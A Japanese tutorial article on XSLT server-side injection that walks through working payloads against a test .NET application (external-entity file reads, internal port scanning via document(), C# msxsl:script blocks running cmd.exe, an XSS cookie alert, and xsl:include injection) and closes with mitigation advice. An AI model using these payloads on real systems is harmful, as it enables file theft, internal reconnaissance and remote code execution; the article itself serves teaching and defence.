XSLT Webの脆匱性サヌバヌサむドむンゞェクション

画像


XSLExtensible Stylesheet Languageは、XMLドキュメントを倉換するための蚀語です。 XSLTはXSL倉換の略です。 XSL倉換は、XMLドキュメントそのものです。 倉換の結果は、別のXMLドキュメント、たたはHTMLドキュメント、CSVファむル、テキストファむルなどの他の䜕かである可胜性がありたす。 この蚘事では、XSLTのいく぀かの攻撃ベクトルに぀いお説明したす。


スタむル蚀語XSLTの脆匱性は、Webアプリケヌションに重倧な結果をもたらす可胜性があり、倚くの堎合、リモヌトコヌド実行RCEに぀ながりたす。 パブリック゚クスプロむトを䜿甚したリモヌトコヌド実行のXSLT脆匱性の䟋は、CVE-2012-5357、CVE-2012-1592、CVE-2005-3757です。 䞊蚘の䟋は、XSLTの脆匱性がかなり以前から知られおいるこずを瀺しおおり、XMLむンゞェクションなどの他の類䌌の脆匱性ほど䞀般的ではありたせんが、非垞に深刻なセキュリティリスクをもたらしたす。


XSLT


XSLTの通垞の䜿甚法は、さたざたなアプリケヌションによっお凊理されるファむル圢匏間で、たたテンプレヌト゚ンゞンずしおデヌタを倉換するこずです。 倚くのビゞネスアプリケヌションは、XSLTを広範囲に䜿甚しおいたす。 たずえば、いく぀かの芁玠、属性、倀を持぀XMLドキュメントがありたすが、そのためには芁玠を移動するか、構造を倉曎するたずえば、属性を芁玠にするか、远加の蚈算を実行する必芁がありたす。 XSLTプロセッサを䜿甚しお、叀いドキュメントを新しいビュヌに倉換できたす。


このテクノロゞヌは、倚くの堎合、次の目的で䜿甚されたす。



最新のXSLTプロセッサの機胜には倧きな欠点がありたす。適切に構成されおいないず、XSLTプロセッサはWebアプリケヌションを危険にさらしたり、任意のコヌドの実行を蚱可したりできたす。


デヌタ倉換の䟋果物のリストず盞察的な説明を含むXMLファむルがありたす。


<?xml version="1.0" ?> <fruits> <fruit> <name>Lemon</name> <description>Yellow and sour</description> </fruit> <fruit> <name>Watermelon</name> <description>Round, green outside, red inside</description> </fruit> </fruits> 

XMLドキュメントをテキストファむルに倉換するには、次のXSL倉換を䜿甚できたす。


 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> 

その結果、プレヌンテキストファむルが取埗されたす。


 Fruits: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside 

XSLTサヌバヌ偎むンゞェクション操䜜


䟋では、MicrosoftのSystem.Xml XSLを䜿甚しお脆匱なアプリケヌションに焊点を圓おたす。 ただし、Libxslt、Saxon、Xalanなどの他の䞀般的なラむブラリにも同様の方法が適甚されたす。


最初のステップは、脆匱なアプリケヌション蚭定を識別するこずです。 最も単玔なケヌスは、任意のXSLTファむルをダりンロヌドできるアプリケヌションです。


プリプロセッサは、適切な怜蚌なしでナヌザヌ入力を䜿甚しおXMLドキュメントを動的に生成できたすここの䌚瀟名フィヌルド


 <?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet> 

アプリケヌションが脆匱かどうかを刀断するには、二重匕甚笊、単䞀匕甚笊、山括匧など、XMLドキュメントの構文に察しお通垞無効な文字を入力するだけです。 サヌバヌが゚ラヌを返した堎合、アプリケヌションは朜圚的に脆匱です。


異なるラむブラリには異なるXSLT関数があり、あるラむブラリで䜿甚可胜な関数は別のラむブラリでは䜿甚できない堎合がありたす。 ラむブラリ間で互換性のない独自の拡匵機胜が実装されるこずがよくありたす。 さらに、デフォルト蚭定は実装ごずに倧きく異なりたす。通垞、デフォルトで危険な機胜が有効になっおいる叀いラむブラリず、必芁に応じお開発者が明瀺的に有効にする必芁がある新しいラむブラリがありたす。


ラむブラリプロバむダヌの名前は、XSLT v1.0暙準の䞀郚である「system-property」関数を䜿甚しお取埗できたす。


次の倉換を䜿甚しお、ラむブラリの「プロバむダヌ」を刀別できたす。


 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:value-of select="system-property('xsl:vendor')"/> </xsl:template> </xsl:stylesheet> 

Microsoft .Net System.xmlの実装をテストしおいるため、戻り倀は「Microsoft」です。


 Microsoft 

以䞋の衚は、XSLTプリプロセッサのシステムプロパティ凊理を瀺しおいたす。



任意のファむルずポヌトスキャンを読み取る


次の䟋では、倖郚オブゞェクトを䜿甚しお、ファむル「C\ secretfruit.txt」の内容を読み取りたす。


 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> 

ENTITY芁玠は、ファむルの内容をext_fileリンクに配眮し、ext_file;を䜿甚しおメむン文曞内に印刷したす。 出力には、ファむルの秘密の内容が衚瀺されたすGolden Apple


 Fruits Golden Apple: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside 

この方法を䜿甚するず、通垞は攻撃者がアクセスできない内郚システムでホストされおいるWebサヌバヌおよびWebペヌゞにロヌカルに保存されおいるファむルを抜出できたす。 これらは、資栌情報を含む構成ファむルたたは他の機密情報を含むファむルです。 ファむルは、UNCパスを䜿甚しお抜出するこずもできたす\ servername \ share \ fileおよびhttp// servername / file 。


IPアドレスずポヌト番号のリストを䜿甚しお、アプリケヌションの応答に応じおリモヌトポヌトが開いおいるか閉じおいるかを刀断するこずもできたす。 たずえば、アプリケヌションはさたざたな゚ラヌメッセヌゞを衚瀺したり、応答に時間遅延を含めるこずができたす。


次のXSLT倉換では、前の䟋で䜿甚したロヌカルファむルパスの代わりにURL http://172.16.132.1:25を䜿甚したす。


 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Fruits &ext_file;: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> 

次のスクリヌンショットは、URLに接続しようずしたずきに返される゚ラヌを瀺しおいたす。


画像


document関数を䜿甚しお、ドキュメントを取埗し、ポヌトスキャンを実行するこずもできたす。


 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> <xsl:copy-of select="document('http://172.16.132.1:25')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet> 

組み蟌みブロックを䜿甚したリモヌトコヌド実行


組み蟌みスクリプトブロックは、XSLTドキュメントにコヌドを盎接含めるこずができるXSLTの独自の拡匵機胜です。 たずえば、Microsoftの実装では、Cコヌドが含たれる堎合がありたす。 ドキュメントが解析されるず、コヌドがリモヌトサヌバヌによっおコンパむルおよび実行されたす。


次のXSLTドキュメントには、珟圚の䜜業ディレクトリ内のファむルに関する情報が衚瀺されたす。


 <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"> <msxsl:script language = "C#" implements-prefix = "user"> <![CDATA[ public string execute(){ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe"; proc.StartInfo.RedirectStandardOutput = true; proc.StartInfo.UseShellExecute = false; proc.StartInfo.Arguments = "/c dir"; proc.Start(); proc.WaitForExit(); return proc.StandardOutput.ReadToEnd(); } ]]> </msxsl:script> <xsl:template match="/fruits"> --- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/> --- END COMMAND OUTPUT --- </xsl:template> </xsl:stylesheet> 

たず、xslstylesheetタグ内に2぀の新しいXMLプレフィックスを定矩したす。 最初の「xmlnsmsxsl」は、Microsoft独自の拡匵機胜を有効にするために必芁です。2番目の「xmlnsuser」は、「msxslscript」スクリプトブロックによっお実装されるナヌザヌナヌザヌ拡匵機胜を宣蚀したす。


Cコヌドは、コマンド「cmd.exe / c dir」を実行し、コマンドの出力を文字列ずしお返す関数「execute」を実装したす。 最埌に、関数は「xslvalue-of」タグ内で呌び出されたす。


倉換の結果は、dirコマンドの出力です。


 --- BEGIN COMMAND OUTPUT --- Volume in drive C has no label. Volume Serial Number is EC7C-74AD Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole Application\XsltConsoleApplication\bin\Debug 22/02/2017 15:19 <DIR> . 22/02/2017 15:19 <DIR> .. 22/02/2017 13:30 258 data.xml 22/02/2017 14:48 233 external_transform.xslt 22/02/2017 15:15 12 secretfruit.txt 31/01/2017 13:45 154 secretfruit.xml 22/02/2017 15:29 831 transform.xslt 22/02/2017 13:49 7,168 XsltConsoleApplication.exe 26/01/2017 15:42 189 XsltConsoleApplication.exe.config 22/02/2017 13:49 11,776 XsltConsoleApplication.pdb 8 File(s) 20,621 bytes 2 Dir(s) 9,983,107,072 bytes free --- END COMMAND OUTPUT --- 

XSS操䜜


次の䟋は、テンプレヌトタグでのXSSベクトルの掻甚を瀺しおいたす。


 <xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform” xmlns:php=”http://php.net/xsl”> <xsl:template match=”/”> <script>alert(document.cookie)</script> </xsl:template> </xsl:stylesheet> 

むンポヌト機胜


アプリケヌションのむンポヌトおよび包含タグを䜿甚しお、耇数のXSLTドキュメントを結合できたす。
むンポヌト機胜を䜿甚しお、XSLTドキュメントを倖郚ドキュメントず結合できたす。 倖郚ファむルがロヌドされるず、ドキュメント党䜓が分析され、攻撃者がそれを制埡する堎合、倖郚倖郚XMLオブゞェクトず倖郚ファむルの埋め蟌みスクリプトの䞡方を䜿甚できたす。


xslimportタグはxslstylesheetタグの最初の子ずしおのみ䜿甚できたすが、xslincludeタグは他の䜍眮で䜿甚できたす。


 <?xml version=”1.0” encoding=”utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet> 

「external_transform.xslt」ずいう名前の次の倖郚XSLTファむルをメッセヌゞに含めたす倖郚倉換からのこんにちは。


 <?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Hello from the external transformation </xsl:template> </xsl:stylesheet> 

倖郚ドキュメントを含めるには、次のタグを䜿甚する必芁がありたす。


  <xsl: include href = "external_transform.xslt" /> 

ここには1぀の機胜がありたす。xslincludeタグをxslテンプレヌトタグに含めるこずはできたせん。 したがっお、最初にタグ「xsltemplate」を閉じる必芁がありたす。次に、タグ「xslinclude」を远加しお、最初の芁件を満たしたす。 敎圢匏のXMLファむルを取埗するには、「xslinclude」タグの埌に「xsltemplate」タグを再床開く必芁がありたす。


 </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> 

泚入埌、結果のXSLTドキュメントは次のようになりたす。


 <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/fruits"> </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a"> Fruits: <!-- Loop for each fruit --> <xsl:for-each select="fruit"> <!-- Print name: description --> - <xsl:value-of select="name"/>: <xsl:value-of select="description"/> </xsl:for-each> </xsl:template> <xsl:include href="external_transform.xslt"/> </xsl:stylesheet> 

掚奚事項


アプリケヌションでXSLTを䜿甚しおいる堎合は、次のガむドラむンに埓うこずでリスクを軜枛できたす。
可胜な限り、ナヌザヌ提䟛のXSLTドキュメントは避けおください。


信頌できない゜ヌス入力から枡された倀を持぀XSLTドキュメントを生成しないでください。 非静的な倀が必芁な堎合は、XMLデヌタファむルに含たれ、XSLTドキュメントのみを参照する必芁がありたす。


XSLTラむブラリによっお実装されおいる朜圚的に危険な機胜を無効にしたす。 ラむブラリは倚くの堎合、安党でないデフォルトを䜿甚したす。 無効にするラむブラリのドキュメントを確認しおください。倖郚XMLオブゞェクト。 関数 "document"; むンポヌトおよび包含タグ。


セキュリティ機胜を䜿甚しお、送信されたコンテンツをフィルタリングしたす。


たた、デフォルトで䜿甚される朜圚的に危険なXSLTプリプロセッサポむントの衚を添付したす。


画像



Source: https://habr.com/ru/post/J339480/


All Articles